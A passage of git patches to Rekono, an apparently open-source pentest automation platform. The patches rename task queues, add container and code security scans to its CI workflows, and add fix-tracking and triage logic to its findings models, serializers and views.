hours -RQ_QUEUES["findings-queue"]["DEFAULT_TIMEOUT"] = 10800 # 3 hours +RQ_QUEUES["executions"]["DEFAULT_TIMEOUT"] = 28800 # 8 hours +RQ_QUEUES["findings"]["DEFAULT_TIMEOUT"] = 10800 # 3 hours ################################################################################ diff --git a/src/backend/rekono/views.py b/src/backend/rekono/views.py index 88ab315be..f8ada4171 100644 --- a/src/backend/rekono/views.py +++ b/src/backend/rekono/views.py @@ -5,7 +5,6 @@ from rest_framework.response import Response from rest_framework.status import HTTP_200_OK from rest_framework.views import APIView - from security.authorization.permissions import IsAdmin exposed_fields = [ @@ -28,15 +27,15 @@ class RQStatsView(APIView): 200: inline_serializer( name="RQStats", fields={ - "executions-queue": inline_serializer( + "executions": inline_serializer( name="QueueStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), - "findings-queue": inline_serializer( + "findings": inline_serializer( name="QueueStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), - "tasks-queue": inline_serializer( + "tasks": inline_serializer( name="QueueStats", fields={k: serializers.IntegerField() for k in exposed_fields}, ), diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index de0eee3a3..cbcb0568e 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -5,14 +5,13 @@ from django.db.models import Max from django.utils import timezone from django_rq import job -from rq.job import Job - from executions.enums import Status from executions.models import Execution from executions.queues import ExecutionsQueue from framework.queues import BaseQueue from input_types.models import InputType from processes.models import Step +from rq.job import Job from tasks.models import Task from tools.models import Intensity @@ -20,7 +19,7 @@ class TasksQueue(BaseQueue): - name = "tasks-queue" + name = "tasks" def enqueue(self, task: Task) -> Job: queue = self._get_queue() @@ -60,7 +59,7 @@ def enqueue(self, task: Task) -> Job: return job @staticmethod - @job("tasks-queue") + @job("tasks") def consume(task: Task) -> Task: if task.executions: task.executions.clear() diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index df9465a74..a511693a5 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -4,17 +4,16 @@ import django_rq from django.utils import timezone from drf_spectacular.utils import extend_schema +from executions.enums import Status +from executions.queues import ExecutionsQueue +from framework.views import BaseViewSet +from rekono.settings import CONFIG from rest_framework import status from rest_framework.decorators import action from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response from rq.command import send_stop_job_command - -from executions.enums import Status -from executions.queues import ExecutionsQueue -from framework.views import BaseViewSet -from rekono.settings import CONFIG from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -83,7 +82,7 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: self.tasks_queue.cancel_job(task.rq_job_id) self.tasks_queue.delete_job(task.rq_job_id) logger.info(f"[Task] Task {task.id} has been cancelled") - connection = django_rq.get_connection("executions-queue") + connection = django_rq.get_connection("executions") for execution in running_executions: if not CONFIG.testing: # pragma: no cover if execution.status == Status.RUNNING: From 645a1f7d314ecbd27da6ce62dd2b94950c42b18e Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Thu, 21 Mar 2024 20:23:12 +0100 Subject: [PATCH 132/141] Add new security scans to CI/CD (#280) * Add Chain-Bench scans to CI/CD * Fix chain-bench hash * Add quotes to echo and remove debugging echo * Upgrade Semgrep version and add Njsscan scans for frontend code * Force frontend change for testing Njsscan * Add Dockle scans to CI/CD * Force Docker change for testing Dockle * Fix syntax in workflow * Add github environment to chain-bench scans * Fix chain-bench results handling * Add continue-on-error to Dockle scans * Remove chain-bench reporting as it's not working --- .github/workflows/security-containers.yml | 64 ++++++++++++++++++++++- .github/workflows/security-sast.yml | 10 +++- .github/workflows/security-ssc.yml | 11 +++- docker/Dockerfile.kali | 2 +- src/frontend/vue.config.js | 2 +- 5 files changed, 82 insertions(+), 7 deletions(-) diff --git a/.github/workflows/security-containers.yml b/.github/workflows/security-containers.yml index 81c251f3d..20fc9dd05 100644 --- a/.github/workflows/security-containers.yml +++ b/.github/workflows/security-containers.yml @@ -27,6 +27,16 @@ jobs: format: table exit-code: 1 + - name: Scan Nginx image with Dockle + continue-on-error: true + uses: goodwithtech/dockle-action@426396fd1cd8feecee31992a6d1482dde8e26515 + with: + image: rekono-nginx + format: json + output: rekono-nginx-dockle.json + exit-code: 1 + exit-level: warn + - name: Scan Kali image with Trivy continue-on-error: true uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 @@ -35,6 +45,16 @@ jobs: format: table exit-code: 1 + - name: Scan Kali image with Dockle + continue-on-error: true + uses: goodwithtech/dockle-action@426396fd1cd8feecee31992a6d1482dde8e26515 + with: + image: rekono-kali + format: json + output: rekono-kali-dockle.json + exit-code: 1 + exit-level: warn + - name: Scan Backend image with Trivy continue-on-error: true uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 @@ -43,6 +63,16 @@ jobs: format: table exit-code: 1 + - name: Scan Backend image with Dockle + continue-on-error: true + uses: goodwithtech/dockle-action@426396fd1cd8feecee31992a6d1482dde8e26515 + with: + image: rekono-backend + format: json + output: rekono-backend-dockle.json + exit-code: 1 + exit-level: warn + - name: Scan Frontend image with Trivy continue-on-error: true uses: aquasecurity/trivy-action@91713af97dc80187565512baba96e4364e983601 @@ -50,6 +80,23 @@ jobs: image-ref: rekono-frontend format: table exit-code: 1 + + - name: Scan Frontend image with Dockle + continue-on-error: true + uses: goodwithtech/dockle-action@426396fd1cd8feecee31992a6d1482dde8e26515 + with: + image: rekono-frontend + format: json + output: rekono-frontend-dockle.json + exit-code: 1 + exit-level: warn + + - name: Upload reports as GitHub artifact + uses: actions/upload-artifact@v3 + with: + name: dockle + path: "*-dockle.json" + if-no-files-found: warn debian-image: name: Debian Image @@ -82,5 +129,20 @@ jobs: image-ref: rekono-debian format: table exit-code: 1 - + - name: Scan Debian image with Dockle + continue-on-error: true + uses: goodwithtech/dockle-action@426396fd1cd8feecee31992a6d1482dde8e26515 + with: + image: rekono-debian + format: json + output: dockle.json + exit-code: 1 + exit-level: warn + + - name: Upload report as GitHub artifact + uses: actions/upload-artifact@v3 + with: + name: rekono-debian + path: dockle.json + if-no-files-found: warn diff --git a/.github/workflows/security-sast.yml b/.github/workflows/security-sast.yml index df36f3b8f..1ec9bef25 100644 --- a/.github/workflows/security-sast.yml +++ b/.github/workflows/security-sast.yml @@ -29,13 +29,13 @@ jobs: include: - name: Semgrep Backend tool: semgrep - version: 1.52.0 + version: latest path: src/backend report: semgrep-backend.json arguments: --config=auto --error --json - name: Semgrep CI/CD tool: semgrep - version: 1.52.0 + version: latest path: .github/workflows report: semgrep-cicd.json arguments: --config=auto --error --json @@ -45,6 +45,12 @@ jobs: path: src/backend report: bandit.json arguments: -r --skip=B105,B106 -f json + - name: Njsscan + tool: njsscan + version: latest + path: src/frontend + report: njsscan.json + arguments: --exit-warning --json name: ${{ matrix.name }} steps: - name: Checkout diff --git a/.github/workflows/security-ssc.yml b/.github/workflows/security-ssc.yml index 5947bf79e..206a32e09 100644 --- a/.github/workflows/security-ssc.yml +++ b/.github/workflows/security-ssc.yml @@ -6,8 +6,8 @@ on: pull_request: jobs: - legitify: - name: Legitify + scanners: + name: Scanners runs-on: ubuntu-latest environment: github steps: @@ -17,3 +17,10 @@ jobs: github_token: ${{ secrets.ADMIN_PAT }} analyze_self_only: true artifact_name: legitify + + - name: Chain Bench + id: chain-bench + uses: aquasecurity/chain-bench-action@cd35ac2e4470006fc9bbbbcd6c328edb61b72332 + with: + repository-url: ${{ github.server_url }}/${{ github.repository }} + github-token: ${{ secrets.ADMIN_PAT }} diff --git a/docker/Dockerfile.kali b/docker/Dockerfile.kali index 6a372f688..c49afa6ef 100644 --- a/docker/Dockerfile.kali +++ b/docker/Dockerfile.kali @@ -49,4 +49,4 @@ RUN pip install --upgrade pip && \ # Final system configuration USER rekono -WORKDIR /code \ No newline at end of file +WORKDIR /code diff --git a/src/frontend/vue.config.js b/src/frontend/vue.config.js index 56f1c3c46..6045827c6 100644 --- a/src/frontend/vue.config.js +++ b/src/frontend/vue.config.js @@ -6,7 +6,7 @@ const headers = { 'X-Frame-Options': 'DENY', 'X-Powered-By': '', } - + module.exports = { pages: { From dedaa4211b880181f8ce50541db0a255a4abd22c Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Sun, 24 Mar 2024 20:28:22 +0100 Subject: [PATCH 133/141] Findings management (#285) * Limit triaging features to those findings that need it, handle finding fixes and new auto fix findings feature * Fix findings automatically when they are no longer present in the target, or when their parent findings are marked as fixed * Fix findings related to automatically fixed findings too * Fix code style * Fix import * Fix code style * Fix some findings errors * Unit tests for latest changes on findings handling * Fix some errors in unit tests * Replace POST method for dislike by DELETE * Fix custom DELETE endpoints * Fix code style * Update changelog * Fix filtering issue in reporting feature * Fix get_related_findings method --- CHANGELOG.md | 1 + src/backend/api_tokens/views.py | 13 +- src/backend/authentications/views.py | 9 +- src/backend/executions/views.py | 4 +- src/backend/findings/filters.py | 19 +- src/backend/findings/framework/filters.py | 15 ++ src/backend/findings/framework/models.py | 146 ++++++++++- src/backend/findings/framework/serializers.py | 27 +- src/backend/findings/framework/views.py | 55 +++- src/backend/findings/models.py | 10 +- src/backend/findings/queues.py | 36 ++- src/backend/findings/serializers.py | 109 ++++---- src/backend/findings/urls.py | 3 +- src/backend/findings/views.py | 40 +-- src/backend/framework/views.py | 41 +-- src/backend/input_types/models.py | 3 +- src/backend/notes/views.py | 18 +- src/backend/parameters/views.py | 15 +- src/backend/platforms/defect_dojo/views.py | 19 +- src/backend/platforms/mail/views.py | 8 +- src/backend/platforms/telegram_app/views.py | 8 +- src/backend/processes/views.py | 16 +- src/backend/reporting/serializers.py | 14 +- src/backend/reporting/views.py | 61 +++-- src/backend/security/authorization/roles.py | 30 +-- src/backend/settings/fixtures/1_default.json | 3 +- src/backend/settings/models.py | 2 +- src/backend/settings/serializers.py | 2 +- src/backend/target_ports/views.py | 9 +- src/backend/targets/views.py | 9 +- src/backend/tasks/views.py | 6 +- src/backend/tests/test_findings.py | 234 ++++++++++++++---- src/backend/tests/test_processes.py | 6 +- src/backend/tests/test_tools.py | 6 +- src/backend/tests/test_wordlists.py | 6 +- src/backend/tools/views.py | 18 +- src/backend/users/views.py | 10 +- 37 files changed, 658 insertions(+), 373 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f32f810e7..42a39d650 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - New executions group to aggregate those that can be executed at the same time (https://github.com/pablosnt/rekono/issues/222) - Keep tool versions updated from the system in the database (https://github.com/pablosnt/rekono/issues/222) - Support for findings triaging (https://github.com/pablosnt/rekono/issues/222) +- Support for fixed findings (https://github.com/pablosnt/rekono/issues/284) - Configure Defect-Dojo product type at Rekono project level (https://github.com/pablosnt/rekono/issues/222) - Add Rekono project tags to Defect-Dojo products (https://github.com/pablosnt/rekono/issues/222) - Download original tool's reports (https://github.com/pablosnt/rekono/pull/264) diff --git a/src/backend/api_tokens/views.py b/src/backend/api_tokens/views.py index 5fa71b8ac..d642fd259 100644 --- a/src/backend/api_tokens/views.py +++ b/src/backend/api_tokens/views.py @@ -1,11 +1,10 @@ -from django.db.models import QuerySet -from rest_framework.permissions import IsAuthenticated -from rest_framework.serializers import Serializer - from api_tokens.filters import ApiTokenFilter from api_tokens.models import ApiToken from api_tokens.serializers import ApiTokenSerializer, CreateApiTokenSerializer +from django.db.models import QuerySet from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from rest_framework.serializers import Serializer # Create your views here. @@ -15,11 +14,7 @@ class ApiTokenViewSet(BaseViewSet): serializer_class = ApiTokenSerializer filterset_class = ApiTokenFilter permission_classes = [IsAuthenticated] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] search_fields = ["name"] ordering_fields = ["id", "name", "expiration"] owner_field = "user" diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index 0a94dd1cb..5c127ec1c 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -1,9 +1,8 @@ -from rest_framework.permissions import IsAuthenticated - from authentications.filters import AuthenticationFilter from authentications.models import Authentication from authentications.serializers import AuthenticationSerializer from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -25,8 +24,4 @@ class AuthenticationViewSet(BaseViewSet): ] search_fields = ["name"] ordering_fields = ["id", "name", "type"] - http_method_names = [ - "get", - "post", - "delete", - ] + http_method_names = ["get", "post", "delete"] diff --git a/src/backend/executions/views.py b/src/backend/executions/views.py index a4872cc49..429eee55c 100644 --- a/src/backend/executions/views.py +++ b/src/backend/executions/views.py @@ -45,9 +45,7 @@ class ExecutionViewSet(BaseViewSet): "start", "end", ] - http_method_names = [ - "get", - ] + http_method_names = ["get"] @extend_schema( request=None, diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py index 00687c712..9e92a3434 100644 --- a/src/backend/findings/filters.py +++ b/src/backend/findings/filters.py @@ -1,6 +1,5 @@ from django_filters.filters import ModelChoiceFilter - -from findings.framework.filters import FindingFilter +from findings.framework.filters import FindingFilter, TriageFindingFilter from findings.models import ( OSINT, Credential, @@ -14,11 +13,11 @@ from framework.filters import MultipleCharFilter, MultipleNumberFilter -class OSINTFilter(FindingFilter): +class OSINTFilter(TriageFindingFilter): class Meta: model = OSINT fields = { - **FindingFilter.Meta.fields.copy(), + **TriageFindingFilter.Meta.fields.copy(), "data": ["exact", "icontains"], "data_type": ["exact"], "source": ["exact", "icontains"], @@ -78,7 +77,7 @@ class Meta: } -class CredentialFilter(FindingFilter): +class CredentialFilter(TriageFindingFilter): port = ModelChoiceFilter(queryset=Port.objects.all(), field_name="technology__port") host = ModelChoiceFilter( queryset=Host.objects.all(), field_name="technology__port__host" @@ -87,7 +86,7 @@ class CredentialFilter(FindingFilter): class Meta: model = Credential fields = { - **FindingFilter.Meta.fields.copy(), + **TriageFindingFilter.Meta.fields.copy(), "technology": ["exact"], "technology__name": ["exact", "icontains"], "technology__version": ["exact", "icontains"], @@ -97,14 +96,14 @@ class Meta: } -class VulnerabilityFilter(FindingFilter): +class VulnerabilityFilter(TriageFindingFilter): port = MultipleNumberFilter(fields=["technology__port", "port"]) host = MultipleNumberFilter(fields=["technology__port__host", "port__host"]) class Meta: model = Vulnerability fields = { - **FindingFilter.Meta.fields.copy(), + **TriageFindingFilter.Meta.fields.copy(), "technology": ["exact"], "technology__name": ["exact", "icontains"], "technology__version": ["exact", "icontains"], @@ -117,7 +116,7 @@ class Meta: } -class ExploitFilter(FindingFilter): +class ExploitFilter(TriageFindingFilter): port = MultipleNumberFilter( fields=[ "technology__port", @@ -154,7 +153,7 @@ class ExploitFilter(FindingFilter): class Meta: model = Exploit fields = { - **FindingFilter.Meta.fields.copy(), + **TriageFindingFilter.Meta.fields.copy(), "vulnerability": ["exact", "isnull"], "vulnerability__severity": ["exact"], "vulnerability__cve": ["exact"], diff --git a/src/backend/findings/framework/filters.py b/src/backend/findings/framework/filters.py index 566b57819..a7a300f04 100644 --- a/src/backend/findings/framework/filters.py +++ b/src/backend/findings/framework/filters.py @@ -22,11 +22,26 @@ class FindingFilter(MultipleFieldFilterSet): executor = ModelChoiceFilter( queryset=User.objects.all(), field_name="executions__task__executor" ) + fixed_by = ModelChoiceFilter(queryset=User.objects.all(), field_name="fixed_by") class Meta: model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten fields = { "executions": ["exact"], + "is_fixed": ["exact"], + "auto_fixed": ["exact"], + "fixed_date": ["gte", "lte", "exact"], + } + + +class TriageFindingFilter(FindingFilter): + triage_by = ModelChoiceFilter(queryset=User.objects.all(), field_name="triage_by") + + class Meta: + model = OSINT + fields = { + **FindingFilter.Meta.fields.copy(), "triage_status": ["exact"], "triage_comment": ["exact", "icontains"], + "triage_date": ["gte", "lte", "exact"], } diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index 7c6701883..c738e5793 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -1,28 +1,137 @@ -from typing import Any, Dict, List +from typing import Any, Dict, List, Optional, Union from django.db import models +from django.utils import timezone from executions.models import Execution from findings.enums import TriageStatus from framework.models import BaseInput +from input_types.models import InputType +from rekono.settings import AUTH_USER_MODEL from security.validators.input_validator import Regex, Validator +class FindingManager(models.Manager): + def _get_related_findings( + self, + finding: Any, + filter: Optional[Dict[str, Any]] = None, + input_type: Optional[InputType] = None, + ) -> List[Any]: + related_findings = [] + current_input_type = ( + input_type + or InputType.objects.filter( + model=f"findings.{(finding if isinstance(finding, Finding) else finding.first()).__class__.__name__.lower()}" + ).first() + ) + for input_type in InputType.objects.exclude(id=current_input_type.id).all(): + related_input_types = input_type.get_related_input_types() + if current_input_type in related_input_types: + query_filter = ( + {current_input_type.name.lower(): finding, **filter} + if filter + else {current_input_type.name.lower(): finding} + ) + new_related_findings = ( + input_type.get_model_class().objects.filter(**query_filter).all() + ) + if new_related_findings: + related_findings.extend(new_related_findings) + for new_related_finding in new_related_findings: + related_findings.extend( + self._get_related_findings( + new_related_finding, filter, input_type + ) + ) + return related_findings + + def _update_finding_fix_data( + self, + finding: Any, + is_fixed: bool, + auto_fixed: Optional[bool] = False, + fixed_date: Optional[timezone.datetime] = None, + fixed_by: Optional[Any] = None, + ) -> Any: + finding.is_fixed = is_fixed + finding.auto_fixed = auto_fixed + finding.fixed_date = fixed_date + finding.fixed_by = fixed_by + finding.save(update_fields=["is_fixed", "auto_fixed", "fixed_date", "fixed_by"]) + return finding + + def _update_findings_fix_data( + self, + queryset: models.QuerySet, + is_fixed: bool, + auto_fixed: bool, + fixed_date: Optional[timezone.datetime] = None, + fixed_by: Optional[Any] = None, + ) -> Any: + return queryset.update( + is_fixed=is_fixed, + auto_fixed=auto_fixed, + fixed_date=fixed_date, + fixed_by=fixed_by, + ) + + def fix( + self, findings: Union[Any, models.QuerySet], fixed_by: Optional[Any] + ) -> Union[Any, models.QuerySet]: + if not findings: + return findings + args = { + "is_fixed": True, + "auto_fixed": fixed_by is None, + "fixed_date": timezone.now(), + "fixed_by": fixed_by, + } + updated_finding = ( + self._update_finding_fix_data(findings, **args) + if isinstance(findings, Finding) + else self._update_findings_fix_data(findings, **args) + ) + args["auto_fixed"] = True + for finding in [findings] if isinstance(findings, Finding) else findings: + for related_finding in self._get_related_findings(finding): + self._update_finding_fix_data(related_finding, **args) + return updated_finding + + def remove_fix(self, finding: Any, fixed_by: Optional[Any]) -> Any: + original_fixed_by = finding.fixed_by + updated_finding = self._update_finding_fix_data(finding, False) + if fixed_by: + for related_finding in self._get_related_findings( + finding, + { + "is_fixed": True, + "auto_fixed": True, + "fixed_by__isnull": False, + "fixed_by": original_fixed_by, + }, + ): + self._update_finding_fix_data(related_finding, False) + return updated_finding + + class Finding(BaseInput): executions = models.ManyToManyField( Execution, related_name="%(class)s", ) - triage_status = models.TextField( - max_length=15, choices=TriageStatus.choices, default=TriageStatus.UNTRIAGED - ) - triage_comment = models.TextField( - max_length=300, - validators=[Validator(Regex.TEXT.value, code="triage_comment")], + is_fixed = models.BooleanField(default=False) + auto_fixed = models.BooleanField(default=False) + fixed_date = models.DateTimeField(blank=True, null=True) + fixed_by = models.ForeignKey( + AUTH_USER_MODEL, + related_name="fixed_%(class)s", + on_delete=models.SET_NULL, blank=True, null=True, ) defect_dojo_id = models.IntegerField(blank=True, null=True) hacktricks_link = models.TextField(max_length=300, blank=True, null=True) + objects = FindingManager() unique_fields: List[str] = [] class Meta: @@ -37,3 +146,26 @@ def get_project_field(cls) -> str: def defect_dojo(self) -> Dict[str, Any]: return {} # pragma: no cover + + +class TriageFinding(Finding): + triage_status = models.TextField( + max_length=15, choices=TriageStatus.choices, default=TriageStatus.UNTRIAGED + ) + triage_comment = models.TextField( + max_length=300, + validators=[Validator(Regex.TEXT.value, code="triage_comment")], + blank=True, + null=True, + ) + triage_date = models.DateTimeField(blank=True, null=True) + triage_by = models.ForeignKey( + AUTH_USER_MODEL, + related_name="triaged_%(class)s", + on_delete=models.SET_NULL, + blank=True, + null=True, + ) + + class Meta: + abstract = True diff --git a/src/backend/findings/framework/serializers.py b/src/backend/findings/framework/serializers.py index ffd96ba0f..b56026819 100644 --- a/src/backend/findings/framework/serializers.py +++ b/src/backend/findings/framework/serializers.py @@ -1,15 +1,20 @@ -from findings.models import OSINT +from typing import Any, Dict + +from django.utils import timezone +from findings.models import OSINT, Host from rest_framework.serializers import ModelSerializer class FindingSerializer(ModelSerializer): class Meta: - model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten + model = Host # It's needed to define a non-abstract model as default. It will be overwritten fields = ( "id", "executions", - "triage_status", - "triage_comment", + "is_fixed", + "auto_fixed", + "fixed_date", + "fixed_by", "defect_dojo_id", "hacktricks_link", ) @@ -18,4 +23,16 @@ class Meta: class TriageFindingSerializer(ModelSerializer): class Meta: model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten - fields = ("id", "triage_status", "triage_comment") + fields = FindingSerializer.Meta.fields + ( + "triage_status", + "triage_comment", + "triage_date", + "triage_by", + ) + read_only_fields = FindingSerializer.Meta.fields + ("triage_date", "triage_by") + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + attrs["triage_date"] = timezone.now() + attrs["triage_by"] = self.context.get("request").user + return attrs diff --git a/src/backend/findings/framework/views.py b/src/backend/findings/framework/views.py index 4f509ce44..2f0414fc2 100644 --- a/src/backend/findings/framework/views.py +++ b/src/backend/findings/framework/views.py @@ -1,7 +1,12 @@ -from rest_framework.permissions import IsAuthenticated -from rest_framework.serializers import Serializer +from typing import Any +from drf_spectacular.utils import extend_schema from framework.views import BaseViewSet +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -9,20 +14,44 @@ class FindingViewSet(BaseViewSet): - triage_serializer_class = None permission_classes = [ IsAuthenticated, RekonoModelPermission, ProjectMemberPermission, ] - http_method_names = [ - "get", - "put", - ] + # "post" and "delete" are needed to allow finding fixes + http_method_names = ["get", "post", "delete"] + + @extend_schema(exclude=True) + def create(self, request: Request, *args, **kwargs): + return self._method_not_allowed("POST") # pragma: no cover + + @extend_schema(exclude=True) + def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: + return self._method_not_allowed("DELETE") # pragma: no cover + + @extend_schema(request=None, responses={204: None}) + @action(detail=True, methods=["POST", "DELETE"], url_path="fix", url_name="fix") + def fix(self, request: Request, pk: str) -> Response: + finding = self.get_object() + bad_request = None + if request.method == "POST": + if finding.is_fixed: + bad_request = "Finding is already fixed" + else: + finding.__class__.objects.fix(finding, request.user) + else: + if not finding.is_fixed or finding.auto_fixed: + bad_request = "Finding is not manually fixed" + else: + finding.__class__.objects.remove_fix(finding, request.user) + if bad_request: + return Response( + {"finding": bad_request}, status=status.HTTP_400_BAD_REQUEST + ) + return Response(status=status.HTTP_204_NO_CONTENT) + - def get_serializer_class(self) -> Serializer: - return ( - self.triage_serializer_class - if self.request.method == "PUT" - else super().get_serializer_class() - ) +class TriageFindingViewSet(FindingViewSet): + # "put" method is needed for triaging + http_method_names = ["get", "put", "post", "delete"] diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index b97f3462b..ee0814450 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -10,7 +10,7 @@ Protocol, Severity, ) -from findings.framework.models import Finding +from findings.framework.models import Finding, TriageFinding from framework.enums import InputKeyword from platforms.defect_dojo.models import DefectDojoSettings from target_ports.models import TargetPort @@ -20,7 +20,7 @@ # Create your models here. -class OSINT(Finding): +class OSINT(TriageFinding): data = models.TextField(max_length=250) data_type = models.TextField(max_length=10, choices=OSINTDataType.choices) source = models.TextField(max_length=50, blank=True, null=True) @@ -292,7 +292,7 @@ def __str__(self) -> str: return f"{f'{self.port.__str__()} - ' if self.port else ''}{self.name}" -class Credential(Finding): +class Credential(TriageFinding): """Credential model.""" technology = models.ForeignKey( @@ -340,7 +340,7 @@ def __str__(self) -> str: return " - ".join(values) -class Vulnerability(Finding): +class Vulnerability(TriageFinding): technology = models.ForeignKey( Technology, related_name="vulnerability", @@ -395,7 +395,7 @@ def __str__(self) -> str: return f"{f'{(self.technology or self.port).__str__()} - ' if self.technology or self.port else ''}{self.name}{f' - {self.cve}' if self.cve else ''}" -class Exploit(Finding): +class Exploit(TriageFinding): vulnerability = models.ForeignKey( Vulnerability, related_name="exploit", diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 636eacc5d..b5b5eeb5f 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -3,7 +3,17 @@ from django_rq import job from executions.models import Execution -from findings.models import Finding +from findings.models import ( + OSINT, + Credential, + Exploit, + Finding, + Host, + Path, + Port, + Technology, + Vulnerability, +) from framework.queues import BaseQueue from platforms.defect_dojo.integrations import DefectDojo from platforms.hacktricks import HackTricks @@ -11,6 +21,7 @@ from platforms.nvd_nist import NvdNist from platforms.telegram_app.notifications.notifications import Telegram from rq.job import Job +from settings.models import Settings logger = logging.getLogger() @@ -31,3 +42,26 @@ def consume(execution: Execution, findings: List[Finding]) -> None: if findings: for platform in [NvdNist, HackTricks, DefectDojo, SMTP, Telegram]: platform().process_findings(execution, findings) + settings = Settings.objects.first() + if settings.auto_fix_findings: + for finding in findings: + if finding.is_fixed: + finding.__class__.objects.remove_fix(finding) + for finding_type in [ + OSINT, + Host, + Port, + Path, + Technology, + Credential, + Vulnerability, + Exploit, + ]: + finding_type.objects.fix( + finding_type.objects.filter( + executions__configuration=execution.configuration, + executions__task__target=execution.task.target, + ) + .exclude(executions=execution) + .all() + ) diff --git a/src/backend/findings/serializers.py b/src/backend/findings/serializers.py index 4b8296dd8..af71edacf 100644 --- a/src/backend/findings/serializers.py +++ b/src/backend/findings/serializers.py @@ -1,3 +1,6 @@ +from typing import Any, Dict + +from findings.enums import TriageStatus from findings.framework.serializers import FindingSerializer, TriageFindingSerializer from findings.models import ( OSINT, @@ -11,21 +14,21 @@ ) -class OSINTSerializer(FindingSerializer): +class OSINTSerializer(TriageFindingSerializer): class Meta: model = OSINT - fields = FindingSerializer.Meta.fields + ( + fields = TriageFindingSerializer.Meta.fields + ( + "data", + "data_type", + "source", + "reference", + ) + read_only_fields = TriageFindingSerializer.Meta.read_only_fields + ( "data", "data_type", "source", "reference", ) - - -class TriageOSINTSerializer(TriageFindingSerializer): - class Meta: - model = OSINTSerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields class HostSerializer(FindingSerializer): @@ -39,12 +42,6 @@ class Meta: ) -class TriageHostSerializer(TriageFindingSerializer): - class Meta: - model = HostSerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields - - class PortSerializer(FindingSerializer): class Meta: model = Port @@ -60,12 +57,6 @@ class Meta: ) -class TriagePortSerializer(TriageFindingSerializer): - class Meta: - model = PortSerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields - - class PathSerializer(FindingSerializer): class Meta: model = Path @@ -78,12 +69,6 @@ class Meta: ) -class TriagePathSerializer(TriageFindingSerializer): - class Meta: - model = PathSerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields - - class TechnologySerializer(FindingSerializer): class Meta: model = Technology @@ -100,16 +85,17 @@ class Meta: ) -class TriageTechnologySerializer(TriageFindingSerializer): - class Meta: - model = TechnologySerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields - - -class CredentialSerializer(FindingSerializer): +class CredentialSerializer(TriageFindingSerializer): class Meta: model = Credential - fields = FindingSerializer.Meta.fields + ( + fields = TriageFindingSerializer.Meta.fields + ( + "technology", + "email", + "username", + "secret", + "context", + ) + read_only_fields = TriageFindingSerializer.Meta.read_only_fields + ( "technology", "email", "username", @@ -118,16 +104,21 @@ class Meta: ) -class TriageCredentialSerializer(TriageFindingSerializer): - class Meta: - model = CredentialSerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields - - -class VulnerabilitySerializer(FindingSerializer): +class VulnerabilitySerializer(TriageFindingSerializer): class Meta: model = Vulnerability - fields = FindingSerializer.Meta.fields + ( + fields = TriageFindingSerializer.Meta.fields + ( + "port", + "technology", + "name", + "description", + "severity", + "cve", + "cwe", + "reference", + "exploit", + ) + read_only_fields = TriageFindingSerializer.Meta.read_only_fields + ( "port", "technology", "name", @@ -139,26 +130,34 @@ class Meta: "exploit", ) - -class TriageVulnerabilitySerializer(TriageFindingSerializer): - class Meta: - model = VulnerabilitySerializer.Meta.model - fields = TriageFindingSerializer.Meta.fields + def update( + self, instance: Vulnerability, validated_data: Dict[str, Any] + ) -> Vulnerability: + instance = super().update(instance, validated_data) + if instance.triage_status == TriageStatus.FALSE_POSITIVE: + instance.exploit.all().update( + triage_status=instance.triage_status, + triage_comment="Automatically triaged after triaging the related vulnerability as a false positive", + triage_by=instance.triage_by, + triage_date=instance.triage_date, + ) + return instance -class ExploitSerializer(FindingSerializer): +class ExploitSerializer(TriageFindingSerializer): class Meta: model = Exploit - fields = FindingSerializer.Meta.fields + ( + fields = TriageFindingSerializer.Meta.fields + ( + "vulnerability", + "technology", + "title", + "edb_id", + "reference", + ) + read_only_fields = TriageFindingSerializer.Meta.read_only_fields + ( "vulnerability", "technology", "title", "edb_id", "reference", ) - - -class TriageExploitSerializer(TriageFindingSerializer): - class Meta: - model = ExploitSerializer.Meta.model - fields = 